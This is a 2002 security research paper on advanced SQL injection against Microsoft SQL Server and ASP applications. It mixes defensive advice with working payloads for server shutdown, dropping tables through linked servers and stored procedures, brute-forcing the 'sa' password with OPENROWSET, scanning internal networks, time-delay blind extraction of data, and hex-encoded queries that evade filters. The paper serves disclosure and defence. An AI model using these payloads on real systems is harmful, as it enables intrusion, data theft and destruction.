(more) Advanced SQL Injection

Chris Anley [chris@ngssoftware.com]
18/06/2002

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

Table of Contents

[Clarifications] 3
[Best practice] 3
[Stored procedures] 4
[Linked servers] 4
[Three tier applications and error messages] 5
[Privilege escalation] 5
[Using time delays as a communications channel] 8
[Miscellaneous observations] 10
[Injection in stored procedures] 10
[Arbitrary code issues in SQL Server] 11
[Encoding injected statements] 12
[Conclusions] 13

[Abstract]

This paper addresses the subject of SQL Injection in a Microsoft SQL Server/IIS/Active Server Pages environment, but most of the techniques discussed have equivalents in other database environments. It should be viewed as a "follow up", or perhaps an appendix, to the previous paper, "Advanced SQL Injection".

The paper covers in more detail some of the points described in its predecessor, providing examples to clarify areas where the previous paper was perhaps unclear. An effective method for privilege escalation is described that makes use of the openrowset function to scan a network. A novel method for extracting information in the absence of 'helpful' error messages is described; the use of time delays as a transmission channel. Finally, a number of miscellaneous observations and useful hints are provided, collated from responses to the original paper, and various conversations around the subject of SQL injection in a SQL Server environment.

This paper assumes that the reader is familiar with the content of "Advanced SQL Injection".

[Clarifications]

[Best practice]

The following measures represent the best - practice in deploying a secure SQL server application:

- Lock down the SQL server. See http://www.sqlsecurity.com for further information on how this can be achieved.
- Apply stringent network filtering to the SQL server, using IPSec, filtering routers or some other network packet filtering mechanism. The specifics of the rule set will depend on the environment, but the aim is to prevent direct connection to the SQL server on TCP port 1433 and UDP port 1434 from any untrusted source. Also ensure that the SQL server cannot connect 'out', for example on TCP 21, 80, 139, 443, 445 or 1433 or UDP 53. This is of course dependent on individual circumstances.
- Apply comprehensive input validation in any Web application that submits queries to the server. See 'Advanced SQL Injection' for a few simple examples.
- Wherever possible, restrict the actions of web applications to stored procedures, and call those stored procedures using some 'parameterised' API. See the docs on ADODB.Command for more information.

At the time of writing, using the ADODB.Command object (or similar) to access parameterised stored procedures appears to be immune to SQL injection. That does not mean that no one will be able to come up with a way of injecting SQL into an application coded this way. It is extremely dangerous to place your faith in a single defence; best practice is therefore to **always** validate **all** input with SQL Injection in mind.

[Stored procedures]

The following is an excerpt from a USENET message, and reflects some common misconceptions:

```
<%
strSQL = "sp_adduser '" & Replace(Request.Form("username"),"'","''") &
"','"
& Replace(Request.Form("password"),"'","''") & "'," &
Replace(Request.Form("userlevel"),"'","''")
%>
```

This was intended to show how a stored procedure can be safely called, avoiding SQL injection. The name 'sp_adduser' is intended to represent some user - written stored procedure rather than the system stored procedure of the same name.

There are two misunderstandings here; first, any query string that is composed 'on the fly' like this is potentially vulnerable to SQL injection, **even if it is calling a stored procedure**. Second, closer examination of the final parameter will reveal that it is not delimited with single quotes. Presumably this reflects a numeric field. Were the attacker to submit a 'userlevel' that looked like this:

```
1; shutdown--
```

…the SQL server would shut down, given appropriate privileges. Once you're submitting arbitrary SQL, you don't need single quotes because you can use the 'char' function and many others to compose strings for you.

[Linked servers]

Pre-authenticated links can be added between SQL servers using the sp_addlinkedsrvlogin stored procedure. This results in an attacker being effectively granted the ability to query the remote servers with whatever credentials were provided when the link was added. This can often be fatal to the security of an organisation that uses SQL replication, since an attacker may be able to tunnel attacks through several SQL servers to a server inside the "internal" network of the organisation. Pre-authenticated links and replication models should be carefully considered before deployment.

There are several ways of querying remote servers; the most straightforward being to use the name of the server in a four-part object name:

```
select * from my_internal_server.master.dbo.sysobjects
```

Perhaps the most useful syntax for an attacker is the 'OPENQUERY' syntax:

```
select * from OPENQUERY ( [my_internal_server], 'select @@version;
delete from logs')
```

This technique is an important one to an attacker, since (in our experience) pre-authenticated links are likely to exist, and although the initial database server may be tightly controlled, the 'back - end' server is likely to be poorly protected.

[Three tier applications and error messages]

Another popular misconception is that the SQL injection attacks described in the previous paper do not work in 'three-tier' applications, that is, applications which use ASP as a presentation layer, COM objects as an application layer, and SQL Server as the database layer. This is untrue; in the absence of input validation, the application layer is vulnerable to SQL injection in precisely the same way, and in a default configuration the error messages will propagate to the browser.

Even if the application tier 'handles' error messages, it is still relatively straightforward for an attacker to extract information from the database (see 'Using time delays as a communications channel' below). The best protection is to remove the problem at source, with input validation.

[Privilege escalation]

DBAs and Web Application Developers are becoming increasingly familiar with SQL injection. Perhaps because of this applications are being configured more often to use low - privileged accounts on SQL servers. While this is an encouraging trend, there are several straightforward means to escalate privileges from a low - privileged user to an administrative account, given the ability to submit an arbitrary query to the server. This section describes these techniques, and discusses the countermeasures that can be taken against them.

In general, when an attacker wishes to compromise a network, they will attempt to determine what authentication mechanisms are in place, and then use these authentication mechanisms to obtain access to poorly - configured administrative accounts. For example, an attacker will commonly try blank or 'Joe' passwords for NT domain accounts, ssh servers, FTP servers, SNMP communities and so on.

The same is true of SQL Server. If an attacker has access to an account that can issue the 'OPENROWSET' command, they can attempt to re-authenticate with the SQL Server, effectively allowing them to guess passwords. There are several variants of the 'OPENROWSET' syntax, but the following are the most useful:

Using MSDASQL:

```
select * from OPENROWSET('MSDASQL','DRIVER={SQL
Server};SERVER=;uid=sa;pwd=bar','select @@version')
```

Using SQLOLEDB:

```
select * from OPENROWSET('SQLOLEDB','';'sa';'bar','select @@version')
```

By default, everyone can execute 'xp_execresultset', which leads to the following elaborations on the previous two methods:

Using MSDASQL:

```
exec xp_execresultset N'select * from
OPENROWSET(''MSDASQL'',''DRIVER={SQL
Server};SERVER=;uid=sa;pwd=foo'',''select @@version'')', N'master'
```

Using SQLOLEDB:

```
exec xp_execresultset N'select * from
OPENROWSET(''SQLOLEDB'','''';''sa'';''foo'',''select @@version'')',
N'master'
```

By default in a SQL Server 2000, Service Pack 2 server, a low - privileged account cannot execute the MSDASQL variant of the above syntax, but they **can** execute the SQLOLEDB syntax.

To make full use of these techniques, an attacker will create a 'harness' script that will repeatedly submit the SQL using different usernames and passwords until they succeed. This technique can also be used with the OPENQUERY syntax discussed above, to brute-force accounts on internal database servers.

The 'OPENROWSET' syntax can also be used, in combination with ODBC drivers, to read the contents of excel spreadsheets, local MS Access databases and selected text files. The existence of such files can be determined by the xp_fileexist and xp_dirtree extended stored procedures, which are accessible to the 'public' role by default.

If an attacker can execute OPENROWSET using one of the above methods, he can begin to enumerate the internal IP network for SQL servers with blank or weak passwords:

```
select * from OPENROWSET('SQLOLEDB','10.1.1.1';'sa';'','select
@@version')
select * from OPENROWSET('SQLOLEDB','10.1.1.2';'sa';'','select
@@version')
```

Another miscellaneous point about OPENROWSET is that, if no username and password are supplied:

```
select * from OPENROWSET('SQLOLEDB','';;,'select @@version')
```

…the account that the SQL server service is running as will be used. If this is a domain account, it is likely to have permissions to log on to other SQL servers.

Since this 'OPENROWSET' authentication is instant, and involves no timeout in the case of an unsuccessful authentication attempt, it is possible to inject a script that will brute-force the 'sa' password, using the server's own processing power. The xp_execresultset method must be used for this, since it allows many unsuccessful authentication attempts to be executed in a 'while' loop:

```
declare @username nvarchar(4000), @query nvarchar(4000)
```

```
declare @pwd nvarchar(4000), @char_set nvarchar(4000)
declare @pwd_len int, @i int, @c char
select @char_set = N'abcdefghijklmnopqrstuvwxyz0123456789!_'
select @pwd_len = 8
select @username = 'sa'
while @i < @pwd_len begin
      -- make pwd
      (code deleted)
      -- try a login
      select @query = N'select * from
OPENROWSET(''MSDASQL'',''DRIVER={SQL Server};SERVER=;uid=' + @username +
N';pwd=' + @pwd + N''',''select @@version'')'
      exec xp_execresultset @query, N'master'
      --check for success
      (code deleted)
      -- increment the password
      (code deleted)
end
```

In our tests, we were able to try approximately 40 passwords per second on a reasonably fast server, which makes for a reasonable brute-force speed. The irony here is that the attacker is using the processor of the target machine to brute-force it's own password.

The conclusion of all of this is that it is extremely important that **all** SQL servers have reasonably strong passwords, not just servers in web farms.

Access to 'ad-hoc' queries via OPENROWSET can be disabled using a registry patch - if you are planning on applying this, please bear in mind Microsoft's advice on the registry:

(from http://support.microsoft.com/support/kb/articles/Q153/1/83.ASP)

```
WARNING : If you use Registry Editor incorrectly, you may cause serious
problems that may require you to reinstall your operating system.
Microsoft cannot guarantee that you can solve problems that result from
using Registry Editor incorrectly. Use Registry Editor at your own risk.
```

The following values disable ad-hoc queries to some (but not all) providers. This may have a detrimental effect on your server; the values are provided here for reference. Use at your own risk.

```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\Microsoft.J
et.OLEDB.4.0]
"DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\MSDAORA]
"DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\MSDASQL]
"DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB]
"DisallowAdhocAccess"=dword:00000001
```

It should be clear that disabling ad-hoc queries to a few providers might not be enough to defend against a determined attacker. The best defence is not to allow arbitrary queries from an untrusted source; that boils down to good network filtering and good application input validation.

[Using time delays as a communications channel]

Since the publication of the previous paper, we have received a number of comments along the lines of 'but if I disable error messages, you can't get at the data, can you?'. This is an extremely unsafe way to deal with the SQL injection, as the following section demonstrates.

Frequently an attacker is placed in the position of being able to execute a command in some system, but being unsure whether it is running correctly. This is normally due to the absence of error messages returned from the system they are attacking. A novel and flexible workaround to this situation is to use time delays. For example in the case of both Unix and windows shells, the 'ping' command can be used to cause the application to pause for a few seconds, thus revealing to the attacker the fact that they are correct in their assumption that they are running a command.

In windows, the command:

```
ping -n 5 127.0.0.1
```

…will take approximately five seconds to complete, whereas:

```
ping -n 10 127.0.0.1
```

…will take approximately ten seconds.

Similarly in SQL server, the command

```
waitfor delay '0:0:5'
```

…will cause the query to pause for five seconds at that point.

This provides the attacker with a means of communicating information from the database server to the browser; since almost all web applications are synchronous (i.e. they wait for completion of the query before returning content to the browser) the attacker can use time delays to get yes/no answers to various pertinent questions about the database and its surrounding environment:

Are we running as 'sa'?

```
if (select user) = 'sa' waitfor delay '0:0:5'
```

If the application takes more than five seconds to return, then we are connected to the

database as 'sa'. Another example:

Does the 'pubs' sample database exist?
```
if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
```

Having run this:
```
create table pubs..tmp_file (is_file int, is_dir int, has_parent int)
```

and this:
```
insert into pubs..tmp_file exec master..xp_fileexist 'c:\boot.ini'
```

Are there any rows in the table?
```
if exists (select * from pubs..tmp_file) waitfor delay '0:0:5'
```

…and does that row indicate that the file exists?
```
if (select is_file from pubs..tmp_file) > 0 waitfor delay '0:0:5'
```

Other useful questions are, 'is the server running windows 2000?', 'is the server fully patched?', 'are there any linked servers?' and so on. Essentially, any meaningful question about the SQL Server environment can be phrased as a Transact-SQL 'if' statement that provides the answer via a time delay.

Interesting though it is, the technique is still not of much use to a 'blind' attacker. Establishing the existence of linked servers is not sufficient to allow the attacker to guess the name, and file existence, while useful general knowledge in terms of determining patch level and product set of the server, is not really enough to allow a forceful attack.

However, using a query of the following form:

```
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor
delay '0:0:5'
```

…it is possible to determine whether a given bit in a string is '1' or '0'. That is, the above query will pause for five seconds if bit '@bit' of byte '@byte' in string '@s' is '1'.

For example, the following query:

```
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
```

…will pause for five seconds if the first bit of the first byte of the name of the current database is '1'. We can then run:

```
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5'
```

…to determine the second bit, and so on.

At first sight, this is not a terribly practical attack; although it provides us with a means of transporting a single bit from a string in the database to the browser, it has an apparent bandwidth of 1 bit / 5 seconds. An important point to realise here, though, is that the channel is random-access rather than sequential; we can request whatever bits we like, in whatever order we choose. We can therefore issue many **simultaneous** requests to the web application and retrieve multiple bits simultaneously; we don't have to wait for the first bit before requesting the second. The bandwidth of the channel is therefore limited not by the time delay, but by the number of simultaneous requests that can be made through the web application to the database server; this is typically in the hundreds.

Obviously a harness script is required, to submit the hundreds of requests that are needed in an automated fashion. This script would take as input the location of the vulnerable web server and script, the parameters to submit to the script and the desired query to run. The hundreds of simultaneous web requests are made, and the script reassembles the bits into the string as they are received.

In our tests, four seconds was demonstrated to be an effective time delay (resulting in a bit-error-rate of 1 per 2000), and a query rate of 32 simultaneous queries was sustainable. This results in a transfer rate of approximately 1 byte per second. This may not sound like a lot, but it is more than enough to transport a database of passwords or credit card numbers in a couple of hours.

Another point to note (for IDS and other signature - based systems such as application firewalls) is that it is not even necessary to use 'WAITFOR' in order to use this technique. On a single processor, 1GHz Pentium server, the following 'while' loop takes approximately five seconds to complete:

```
declare @i int select @i = 0
while @i < 0xaffff begin
      select @i = @i + 1
end
```

…and it contains no quote characters.

In fact, any query that takes some significant length of time can be used. Network timeouts can be used to good effect, since they tend to take around five or ten seconds; the attempt to OPENROWSET to a non-existent server will take around 20 seconds.

[Miscellaneous observations]

[Injection in stored procedures]

It is possible for stored procedures to be vulnerable to SQL injection. As an illustration of this, the 'sp_msdropretry' system stored procedure, which is accessible to 'public' by default, allows SQL injection. For example:

```
sp_msdropretry [foo drop table logs select * from sysobjects], [bar]
```

The source code of this stored procedure is as follows:

```
CREATE PROCEDURE sp_MSdropretry (@tname sysname, @pname sysname)
as
      declare @retcode int
      /*
      ** To public
      */

      exec ('drop table ' + @tname)
      if @@ERROR <> 0 return(1)
      exec ('drop procedure ' + @pname)
      if @@ERROR <> 0 return(1)
      return (0)

GO
```

As can be clearly seen from the code, the problems here are the 'exec' statements. Any stored procedure that uses the 'exec' statement to execute a query string that contains user - supplied data should be carefully audited for SQL injection.

[Arbitrary code issues in SQL Server]

A significant number of problems have been found in SQL Server or associated components that result in buffer overflows or format string problems, given the ability to submit an arbitrary query. At the time of writing, information on the most recent could be found here:

(Microsoft SQL Server 2000 pwdencrypt() buffer overflow)
http://online.securityfocus.com/archive/1/276953/2002-06-08/2002-06-14/0

This issue was unpatched at the time of writing.

The author and a variety of colleagues have found several other issues of a similar nature in the past:

http://online.securityfocus.com/bid/4847
http://online.securityfocus.com/bid/3732
http://online.securityfocus.com/bid/2030
http://online.securityfocus.com/bid/2031
http://online.securityfocus.com/bid/2038
http://online.securityfocus.com/bid/2039
http://online.securityfocus.com/bid/2040
http://online.securityfocus.com/bid/2041
http://online.securityfocus.com/bid/2042
http://online.securityfocus.com/bid/2043

The point here is that Transact-SQL is a rich programming environment that allows interaction with an extremely large number of subcomponents and APIs. Some of these components and APIs **will** have buffer overflows and format string problems. These issues continue to be found on a regular basis and are unlikely to go away.

The best defence against this type of issue is not to allow untrusted users to submit arbitrary SQL; this obviously includes SQL injection attacks via custom applications.

Other good general defensive measures against Windows buffer overflows are:

- Run SQL Server as a low - privileged account (not SYSTEM or a domain account)
- Ensure that the account that SQL Server is running as does not have the ability to run the command processor ('cmd.exe'). This will greatly mitigate the risk of 'reverse shell' and 'arbitrary command' exploits.
- Ensure that the account that SQL server is running as has minimal access to the file system; this will mitigate the risk of 'file copy' exploits.

It important to bear in mind that a buffer overflow results in the attacker running code of their choice; while this code is likely to be a reverse shell, arbitrary command or file copy, it could be much more complex and damaging. For example, it is possible for a buffer overflow exploit to contain a fully - functional web server, so the above points should not be relied upon as total protection.

[Encoding injected statements]

There is a bewildering array of ways to encode SQL queries. "Advanced SQL Injection" demonstrated the use of the 'char' function to compose a query string; another way is to hex - encode the query:

```
declare @q varchar(8000)
select @q = 0x73656c65637420404076657273696f6e
exec(@q)
```

This runs 'select @@version', as does:

```
declare @q nvarchar(4000)
select @q =
0x730065006c00650063007400200040004000760065007200730069006f006e00
exec(@q)
```

In the stored procedure example above we saw how a 'sysname' parameter can contain multiple SQL statements without the use of single quotes or semicolons:

```
sp_msdropretry [foo drop table logs select * from sysobjects], [bar]
```

[Conclusions]

The best defence against SQL injection is to apply comprehensive input validation, use a parameterised API, and never to compose query strings on an ad-hoc basis. In addition, a strong SQL Server lockdown is essential, incorporating strong passwords.

Although awareness of SQL injection is increasing, many products and bespoke applications are still vulnerable; from this we infer that SQL injection is likely to be around for a long time to come. It is worth investing the time to fully understand it.